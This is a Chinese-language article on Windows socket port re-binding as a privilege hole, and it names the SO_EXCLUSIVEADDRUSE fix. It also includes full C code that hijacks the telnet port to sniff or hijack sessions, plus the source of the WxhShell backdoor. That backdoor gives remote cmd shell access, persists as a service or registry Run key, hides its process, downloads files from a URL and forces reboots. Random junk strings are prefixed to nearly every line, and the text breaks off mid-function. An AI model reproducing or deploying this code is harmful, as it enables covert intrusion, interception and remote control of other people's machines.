在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
q1_iV.G< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
)/mBq#ZS A.wuB saddr.sin_family = AF_INET;
2b89th 8{)j"rghah saddr.sin_addr.s_addr = htonl(INADDR_ANY);
U_.9H
_G Y)*:'&~2e bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0E^6"nt7N *w,C5 f 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
C;jV)hr6P nd3n 'b 这意味着什么?意味着可以进行如下的攻击:
e4mAKB
s! QFX/x 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
{,Z-GJ AdGDs+at, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
:JD*uu UY~N4IR8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
/O{iL:` ic=tVs 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
J<h!H F`8B PWUY 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
u?%FD~l:uU 45aFH}w: 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
D\0qlCAs {\p&? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[$e\?c e_dsBmTh #include
\9k{h08s #include
&24>9 #include
4IXa[xAm #include
\z? - DWORD WINAPI ClientThread(LPVOID lpParam);
Idr|-s%l6' int main()
/Y8{? {
X;d 1@G WORD wVersionRequested;
:s#&nY DWORD ret;
-9yWf8; WSADATA wsaData;
2YpJ4. BOOL val;
=z9FjK SOCKADDR_IN saddr;
Z(hRwIOF SOCKADDR_IN scaddr;
]Ab$IKY int err;
2fG[q3` SOCKET s;
)P9&I.a8 SOCKET sc;
&W?
hCr int caddsize;
9On(b|mT HANDLE mt;
M][Zu[\* DWORD tid;
6]Ri$V&" wVersionRequested = MAKEWORD( 2, 2 );
vR'rYDtU@ err = WSAStartup( wVersionRequested, &wsaData );
6Lz:J:Q) if ( err != 0 ) {
HfA@tZ5q|U printf("error!WSAStartup failed!\n");
tV9 K5ON return -1;
-_fh=}.n+" }
hA387? saddr.sin_family = AF_INET;
T4x[
\v5d Q3aZB*$K //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
8~v E yA^+<uz} saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
GKf%dKL saddr.sin_port = htons(23);
+tp@Tb if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
G$CI~0Se: {
o'!WW printf("error!socket failed!\n");
}+BbwBm& return -1;
sU;aA0kz }
fC!+"g55 val = TRUE;
jfsbvak //SO_REUSEADDR选项就是可以实现端口重绑定的
t"FB}%G if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
!T1)tGrH {
Rx.dM_S printf("error!setsockopt failed!\n");
+{@hD+ return -1;
IW- BY =C }
Lb%:u5X\D@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
fz`\-"f] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^26}8vt //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"oo
j; #mH4\s if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
|f<-lB[k {
Hy#<fKz`! ret=GetLastError();
m7NrS?7 printf("error!bind failed!\n");
^fT?(y_=e return -1;
V"Y-|R }
=Vi>?fWpn= listen(s,2);
ljw>[wNv while(1)
h . R bdG {
1bpjj'2%x caddsize = sizeof(scaddr);
Evb %<`gd //接受连接请求
:WnF>zN sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
v= "2p8@F if(sc!=INVALID_SOCKET)
[Z{0|NR {
ul[+vpH9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
GHR,KB7 xM if(mt==NULL)
e$=0.GWT {
+N>&b% printf("Thread Creat Failed!\n");
@#KZ2^ break;
<hM`]/J55 }
o+
0"@B }
R,KoymXP CloseHandle(mt);
P xiJ R[a }
<R@w0b> closesocket(s);
>Mc,c(CvU WSACleanup();
sU 5/c|& return 0;
= ,^eQZR: }
CiTjRJ-ZW) DWORD WINAPI ClientThread(LPVOID lpParam)
2'5%EQW;0y {
^E`SR6_cmj SOCKET ss = (SOCKET)lpParam;
p:CpY'KV_ SOCKET sc;
s'^"s_j unsigned char buf[4096];
BaUcmF2Q SOCKADDR_IN saddr;
kqyPb$Wy long num;
.iXIoka DWORD val;
B0#JX
MX9 DWORD ret;
mq*Efb)! //如果是隐藏端口应用的话,可以在此处加一些判断
1Wy0#?L //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
t/L:Y=7w saddr.sin_family = AF_INET;
J'no{3Ktz saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
( zL( saddr.sin_port = htons(23);
t>izcO if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
o2#_CdU {
M5>cYVG printf("error!socket failed!\n");
BT8L 'qEj return -1;
3T7,Y(<V }
YdNmnB%J val = 100;
7lYiu fg if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
C!Oz'~l {
haW*W=kv) ret = GetLastError();
N5\]VCX return -1;
}:2GD0Ru }
!w}cKm if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>;}q {
d iG kwKj ret = GetLastError();
Bp>Z?"hTe return -1;
"ABg,^jf }
/>q?H)6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
[~#]p9|L {
q"O4}4` printf("error!socket connect failed!\n");
y2:~_MD closesocket(sc);
o@!Uds0 closesocket(ss);
JNZ O7s return -1;
u^Sa{Jk= }
u|}p3-z|Y while(1)
"cVJqW {
,q|;`?R; //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
1o*eu&@ //如果是嗅探内容的话,可以再此处进行内容分析和记录
9p{7x[ C //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
6mAaFDI,R num = recv(ss,buf,4096,0);
X zF-g*e if(num>0)
48 n5Y~YS send(sc,buf,num,0);
#'&&&_Hu3 else if(num==0)
zm7IkYF break;
#Z)8,N num = recv(sc,buf,4096,0);
"0ZBPp1q if(num>0)
}>
pNf send(ss,buf,num,0);
/ 80Q else if(num==0)
D`e6#1DbJ break;
BhcTPQsW }
ZP}NFh%,u closesocket(ss);
C@#KZ`c) closesocket(sc);
$pLJtQ return 0 ;
e[
9 }
;[,r./XmH gXP)YN h.%)RW? ==========================================================
V9dJNt'Ui _a`J>~$ 下边附上一个代码,,WXhSHELL
p}:"@6 {I:nza ==========================================================
|Y")$pjz t<DZW# #include "stdafx.h"
RP1sQ6$ BdQ/kXZu+ #include <stdio.h>
3UX/ #include <string.h>
}JlrWJRi #include <windows.h>
dtDT^~ #include <winsock2.h>
u4QBD5T" #include <winsvc.h>
(aTpBXGr= #include <urlmon.h>
4!k0 r 1x2) #pragma comment (lib, "Ws2_32.lib")
RAUD8Z #pragma comment (lib, "urlmon.lib")
l?Qbwv} &RL
j^A! #define MAX_USER 100 // 最大客户端连接数
J7Y lmi #define BUF_SOCK 200 // sock buffer
__OH
gp 1 #define KEY_BUFF 255 // 输入 buffer
aWTvowA
*Q XUy
#define REBOOT 0 // 重启
cf{rK`Ff^ #define SHUTDOWN 1 // 关机
WTX!)H6Zv $z[r(a^a #define DEF_PORT 5000 // 监听端口
*Al`QEW 2Cgq&\wS #define REG_LEN 16 // 注册表键长度
%SKJ#b #define SVC_LEN 80 // NT服务名长度
9tBE=L= FesUE_L2$ // 从dll定义API
z5q( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
r
t\eze_5A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
sOb=+u$$9 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
o)r%4YOL typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Zg;%$ kSQ %RD%AliO}K // wxhshell配置信息
?j|i|WUD struct WSCFG {
GX,)~Syw* int ws_port; // 监听端口
!'f.g|a char ws_passstr[REG_LEN]; // 口令
Zv^n int ws_autoins; // 安装标记, 1=yes 0=no
kB3@;z: char ws_regname[REG_LEN]; // 注册表键名
gl>%ADOB@ char ws_svcname[REG_LEN]; // 服务名
k+;XQEH char ws_svcdisp[SVC_LEN]; // 服务显示名
yDmx)^En char ws_svcdesc[SVC_LEN]; // 服务描述信息
>4iVVs char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Q)L6+gW^ int ws_downexe; // 下载执行标记, 1=yes 0=no
.z}*!
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
7AuzGA0y char ws_filenam[SVC_LEN]; // 下载后保存的文件名
c6~<vV'} 4KnrQ-D };
>(BAIjF
E\ u.9syr // default Wxhshell configuration
3 Xl!Z^W struct WSCFG wscfg={DEF_PORT,
p|RFpn2ygF "xuhuanlingzhe",
6!$2nK+ 1,
(y!V0iy] "Wxhshell",
mr<camL5 "Wxhshell",
Z,JoxK2"
"WxhShell Service",
#2*6esP "Wrsky Windows CmdShell Service",
4ztU) 1 "Please Input Your Password: ",
.ovG_O 1,
:>3/*"vx?G "
http://www.wrsky.com/wxhshell.exe",
5Zy%Nam'gN "Wxhshell.exe"
u)9YRMl };
t*(buAx ck\TTNA // 消息定义模块
xjH({(/B>a char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
-a`PW char *msg_ws_prompt="\n\r? for help\n\r#>";
X6G2$| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
,ocAB;K char *msg_ws_ext="\n\rExit.";
@G?R( char *msg_ws_end="\n\rQuit.";
YF68Ax] char *msg_ws_boot="\n\rReboot...";
b<8,'QgB char *msg_ws_poff="\n\rShutdown...";
#iVr @|, char *msg_ws_down="\n\rSave to ";
1dl(`=^X c$b~?Mx char *msg_ws_err="\n\rErr!";
>eucQ] char *msg_ws_ok="\n\rOK!";
-n~%v0D8c u5rHQA0% char ExeFile[MAX_PATH];
K %.>o int nUser = 0;
a_U[!`/w HANDLE handles[MAX_USER];
]*TW%mY int OsIsNt;
6YF<GF{ +~\ 1g^h SERVICE_STATUS serviceStatus;
cxpG6c SERVICE_STATUS_HANDLE hServiceStatusHandle;
5# B M 9^1li2z k{ // 函数声明
V(P 1{g int Install(void);
H{I,m- int Uninstall(void);
Kdr}7#c int DownloadFile(char *sURL, SOCKET wsh);
$8WeWmY int Boot(int flag);
*yqke<o9) void HideProc(void);
NEW0dF&) int GetOsVer(void);
4b
1a? int Wxhshell(SOCKET wsl);
*^i"q\n5( void TalkWithClient(void *cs);
0s.X int CmdShell(SOCKET sock);
q$7/X;A int StartFromService(void);
{Y1&GO; int StartWxhshell(LPSTR lpCmdLine);
;uN&yj<}a }.N~jx0R VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
D8\9nHUD` VOID WINAPI NTServiceHandler( DWORD fdwControl );
N4$ K{ L|Bjw3K&D // 数据结构和表定义
L!0}&i;u~5 SERVICE_TABLE_ENTRY DispatchTable[] =
Tl L\&n.$ {
K96N{"{iI% {wscfg.ws_svcname, NTServiceMain},
:Ny^-4-N {NULL, NULL}
UY^TTRrH };
=k##*% vY);7 // 自我安装
MN[D)RKh; int Install(void)
vf?Xt {
o,[Em< char svExeFile[MAX_PATH];
a^7QHYJ6 HKEY key;
dZuPR strcpy(svExeFile,ExeFile);
21z@-&Oq SS!b` // 如果是win9x系统,修改注册表设为自启动
kJpr:4;@_ if(!OsIsNt) {
=4
NKXP~C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\]0+J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
FZtT2Z4&i RegCloseKey(key);
9 e;8"rJ?C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h(p cGE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
TUq
, RegCloseKey(key);
;jh.\a_\ return 0;
JfRqOEP4Y }
z?W kHQ9 }
z[l_<`J$9 }
7ea%mg\ else {
T[kS;-x FTu<$`!1L // 如果是NT以上系统,安装为系统服务
*1h@Jb34 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Ls'8 if (schSCManager!=0)
7>f)pfLM {
@ 1FWBH~ SC_HANDLE schService = CreateService
zz #IY'dwT (
!eP0b~$/^J schSCManager,
GW2v&Ul7( wscfg.ws_svcname,
]L?WC wscfg.ws_svcdisp,
<7o@7r'0 SERVICE_ALL_ACCESS,
]F #0to SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
G%U!$\j:qd SERVICE_AUTO_START,
\O)u' Bu SERVICE_ERROR_NORMAL,
4%7Oaf>9 svExeFile,
!,{-q)'D NULL,
[6)vD@ NULL,
YGhHIziI NULL,
at(gem NULL,
-Fc 9mv(H NULL
TIxlLOs );
S"/gZfxer if (schService!=0)
G$s=P {
$E^*^({ CloseServiceHandle(schService);
W=4|ahk$ CloseServiceHandle(schSCManager);
+f,I$&d.V strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
OT#foP strcat(svExeFile,wscfg.ws_svcname);
/UtSZ( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
@'"7[k!y; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
le2 v"Y RegCloseKey(key);
rLcXo%w return 0;
*oAnG:J+M }
c[EG
cY={ }
S9 @*g3 CloseServiceHandle(schSCManager);
RY*yj&?w[ }
xI8v'[3 }
^?T,>ZI EHm:&w return 1;
r]&&*: }
=h}PL22 6+Y@dJnPT // 自我卸载
]CgZt'h{ int Uninstall(void)
vr$z6m ^ {
+Q!Kj7EU/ HKEY key;
&sGLm~m# J=ot&% if(!OsIsNt) {
!&o>zU. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
HK<oNr.d52 RegDeleteValue(key,wscfg.ws_regname);
cX5t x] RegCloseKey(key);
XNkQ0o0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
osTin*T. RegDeleteValue(key,wscfg.ws_regname);
F=yE>[! LB RegCloseKey(key);
s$VLVT*6
return 0;
,@t#)HV }
fwaM ;YN_ }
yj9Ad*. }
0WAOA6
_x else {
KQ.cd]6 e{d$OzT) V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
6
i]B8Ziq{ if (schSCManager!=0)
<(Ktf0'__ {
="]y^&(L( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
`Dv&. if (schService!=0)
RTTEAh:. {
S]biN]+7s if(DeleteService(schService)!=0) {
C-ipxL"r CloseServiceHandle(schService);
fhe%5#3 CloseServiceHandle(schSCManager);
XwdehyPhT2 return 0;
) 2Hl\"F }
,T7(!)dR CloseServiceHandle(schService);
;,:w%. }
%:[Y/K- CloseServiceHandle(schSCManager);
!,PoH }
{NV=k%MTmi }
7(KVA1P66 )UG<KcdI return 1;
+)TOcxF% }
`Yc>I!iN h`/1JjP // 从指定url下载文件
8BwJWxBQ int DownloadFile(char *sURL, SOCKET wsh)
(Y]G6>
Oa {
j0[9Cj^%c HRESULT hr;
~UV$(5&- char seps[]= "/";
)F4P-u char *token;
\}mn"y char *file;
i fbO< char myURL[MAX_PATH];
SiSxym char myFILE[MAX_PATH];
;yg9{"O 1]Gp\P} strcpy(myURL,sURL);
"+J[7p}`@ token=strtok(myURL,seps);
C8.MoFfhe while(token!=NULL)
}z8HS<
#Q {
mmrz:_ file=token;
IEW[VU) token=strtok(NULL,seps);
w@ =U f7 }
ar|!iU }N<> z GetCurrentDirectory(MAX_PATH,myFILE);
Qcr-|?5L strcat(myFILE, "\\");
96
!e:TU strcat(myFILE, file);
|#=4]]>m send(wsh,myFILE,strlen(myFILE),0);
iSxuor^; send(wsh,"...",3,0);
}H<87zH hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
)$e_CJ}9e if(hr==S_OK)
DQOEntw return 0;
$'>h7]. else
1 ojy_ return 1;
1Qz1 Ehz> Z>zW83a }
W{v-(pW )mw&e}jRV // 系统电源模块
c/G]r|k int Boot(int flag)
Fz4g:8qdA {
bR}{xHe HANDLE hToken;
0*Is#73rjY TOKEN_PRIVILEGES tkp;
x<%V&<z1g I,xV&j+< if(OsIsNt) {
0QxE6>xL= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
wO
{-qrN LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ir ^XZVR tkp.PrivilegeCount = 1;
5<y pK`Kq tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
u9}k^W)E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
UI>?"b6
L if(flag==REBOOT) {
=whYo?cE( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
D~s
TQfWr return 0;
z3:tSjF }
Ce0YO~I else {
]FLi^}ct if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
06#40- return 0;
C{8d^SCA" }
M@/Hd0$ }
`Mxi2Y{vp else {
s;;"^5B. if(flag==REBOOT) {
Cg!]x
o if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
AGdFJ>/ return 0;
&gL &@';, }
VTt{0 ~ else {
#K3`$^0 s if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Lh(`9(tX return 0;
*uq}jlD`! }
:nHa-N3 }
9a*}&fL[ fv",4L return 1;
-3fzDxD }
dk^Uf84.Gr 8sG0HI$f+ // win9x进程隐藏模块
rIt#ps void HideProc(void)
a\Ond#1p {
E?z~)0z2` h!L/ZeRaV HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
4{s3S2f= if ( hKernel != NULL )
x]Nk T {
JAK+v pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
5Cp6$V|/kv ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
uP-I7l0i1 FreeLibrary(hKernel);
{Di()]/ }
<&+\X6w[ nYcj6? return;
NRM=0-16u$ }
1FCHqqZ= ?4kM5NtP // 获取操作系统版本
)NoNgU\7! int GetOsVer(void)
|(Bc0sgw} {
YQ&Ww|xe OSVERSIONINFO winfo;
}'y=JV>l winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
<Oi65O_X GetVersionEx(&winfo);
}W:Rg}v if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
[=})^t?8 return 1;
xIN&>D'|N else
:/c40:[ return 0;
J 8z|ua }
mM> L0 yl>V' // 客户端句柄模块
fL #e4 int Wxhshell(SOCKET wsl)
zPonG
d1 {
3N(5V;ti SOCKET wsh;
56;^
NE4 struct sockaddr_in client;
oTtJ]`T DWORD myID;
\; 9log<Z >tmv3_<= while(nUser<MAX_USER)
+[JvpDv% {
qHZ!~Kq,"' int nSize=sizeof(client);
N-0kB vo wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Q"6:W2#v if(wsh==INVALID_SOCKET) return 1;
'F\@KE-d #%~PNki handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Oy,7>vWQI if(handles[nUser]==0)
*{t]fds closesocket(wsh);
Ihd{@6m else
G`/5= nUser++;
q X"Pg }
88@" +2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
+N|}6e {
]*#WU return 0;
eWN[EJI< }
5f~49(v] %4=r .9 // 关闭 socket
%`4\ 8H` void CloseIt(SOCKET wsh)
LU-,B?1 {
c'wxCqnE
closesocket(wsh);
-4%{Jb-1 nUser--;
U#qs^f7R ExitThread(0);
lYF~CNvE }
#FZoi:'Q sp-){k // 客户端请求句柄
LLMom. void TalkWithClient(void *cs)
&y}
]^wB {
[P3].#"]M= }akF=/M SOCKET wsh=(SOCKET)cs;
_^k9!Vjo char pwd[SVC_LEN];
mRECdGst char cmd[KEY_BUFF];
$:RP tG char chr[1];
7)i6L'r int i,j;
yUyx&Y/ |z+K]R8_ while (nUser < MAX_USER) {
tO@n3"O C$<['D?8 if(wscfg.ws_passstr) {
4Odf6v,*@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
DNyU]+\L[l //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
EOn[! //ZeroMemory(pwd,KEY_BUFF);
e8Y;~OAj[ i=0;
mu>L9Z~(L_ while(i<SVC_LEN) {
O$K?2- KE_GC ;bQ // 设置超时
t0"2Si fd_set FdRead;
`J26Y"]P struct timeval TimeOut;
m%p;>:"R FD_ZERO(&FdRead);
<y!(X"n` FD_SET(wsh,&FdRead);
}vXf}2C TimeOut.tv_sec=8;
~stG2^"[ TimeOut.tv_usec=0;
,K-?M5(n9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
?j:g. a+U if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
P'Gf7sQt7 7_^JgA|Kk7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
X%lk] &2 pwd
=chr[0]; +FGw)>g8'm
if(chr[0]==0xd || chr[0]==0xa) { Yo^9Y@WDW
pwd=0; 6$y$ VeW
break; 3yXSv1
} <W2YG6^i
i++; U'Mxf'q
} tDQo1,(oY
<AN=@`+
// 如果是非法用户,关闭 socket G,,7.%eib=
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !=B=1th4
} w dpd`
_]"uq/UWp
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y/\0qQ/
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pLtAusx
!gX(Vh*k
while(1) { 3$#=*Zp
Pgh)+>ON
ZeroMemory(cmd,KEY_BUFF); 8oxYgj&~X
4Mr)~f rc
// 自动支持客户端 telnet标准 .EXxNB]%Y&
j=0; C%T$l8$
while(j<KEY_BUFF) { ^3
6oqe{
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .cCB,re
cmd[j]=chr[0]; 9X ^D(
if(chr[0]==0xa || chr[0]==0xd) { CWx_9b zk
cmd[j]=0; 1_MaaA;ow"
break; =t!$72g\
} 'ngx\Lr
j++; YLkdT%
} :kw14?]_
NxzRVsNF
// 下载文件 E7AYK&
if(strstr(cmd,"http://")) { d.:.f_|
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 88~lP7J
if(DownloadFile(cmd,wsh)) -l i71.M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &?(472<f**
else cjyb:gAO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c3X8Wi7m
} "Wz74ble
else { -5.~POO
iD`>Bt7gD
switch(cmd[0]) { :j[a X7Sq2
z>9gt
// 帮助 y1*z,"dx
case '?': { qytH<UB
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,`.`}'
break; (8d"G9R(
} 6Cvg-X@
// 安装 ; +%| !~
case 'i': { Y&y5^nG
if(Install()) q+ )csgN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X0+M|8:
else hJasnY7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0\a;}
S'g#
break; ]YqeI*BX
} BzyzOtBp3L
// 卸载 ," ~4l&
case 'r': { +:m'a5Dm
if(Uninstall()) -Ka0B={Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [/Ya4=C@
else ]id5jVY
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (25v7Y]
break; J2P5<
} Ii4lwZnz
// 显示 wxhshell 所在路径 xulwn{R s
case 'p': { N,Ys}qP
char svExeFile[MAX_PATH]; pGh A
strcpy(svExeFile,"\n\r"); f[$9k}.
strcat(svExeFile,ExeFile); SYZS@o
send(wsh,svExeFile,strlen(svExeFile),0); fsVQZ$h73
break; +(9qAB7
} 2O~I.(9(
// 重启 .-W_m7&}
case 'b': { 1XvB,DhJ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J;S@Q/s
if(Boot(REBOOT)) =|G l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P0N%77p>"
else { \%ZF<sVW
closesocket(wsh); q<` g
ExitThread(0); %`Q<_LTU
} 'G-zJcU
break; !Qd4Y=
} beM}({:`
// 关机 qp@:Zqz8
case 'd': { Q<F-l.q
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3#@ETt0X(
if(Boot(SHUTDOWN)) 8`/nk`;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D{!NTr
else { I8 \Ka=w
closesocket(wsh); <r%QaQRbm
ExitThread(0); b1A8 -![
} /o19/Pvwm
break; -r!N;
s$t
} {t;{={$
// 获取shell #sq$i
case 's': { ^|(w)Sy
CmdShell(wsh); K8l|qe
closesocket(wsh); -H%806NAX7
ExitThread(0); 9OC!\'
8
break; W]UGo,
} 6BJPQdqSl
// 退出 xM/B"SG2
case 'x': { h>6'M
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]tVU$9D
CloseIt(wsh); s9wcZO
break; EEaf/D/ jt
} Z5 uetS^
// 离开 !6pOY*> j
case 'q': { A&2 )iQ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); T>&d/$;]
closesocket(wsh); oXc!JZ^
WSACleanup(); \S)\~>.`y!
exit(1); @eRR#S
break; A3p@hQl
} 3+<}Hm+
} LsnM5GU7
} @LS*WJ< w-
=8r%zLDw
// 提示信息 @N,EoSb :
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gp:,DC?(
} gL(ny/Ob9
} [<Wo7G1s
V fJYYR
return; krPwFp2[*
} ;^}gC}tq
_-&\~w
// shell模块句柄 Fg)Iw<7_2
int CmdShell(SOCKET sock) !F*7Mif_E
{ l@a>"\><i*
STARTUPINFO si; :A\8#]3
ZeroMemory(&si,sizeof(si)); -aDGXQM{~
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )oJn@82C|
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wuCiO;w
PROCESS_INFORMATION ProcessInfo; %vvA'WG
char cmdline[]="cmd"; wRn]
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z5re Fok
return 0; `Ym7XF&
} _ji"##K
5:%xuJD
// 自身启动模式 D.zEE-cGyb
int StartFromService(void) B]dvX
{ "d60IM#N?
typedef struct Y<0;;tVf4U
{ *Ppb;
DWORD ExitStatus; sK8=PZ\
DWORD PebBaseAddress; 96UL](l(`
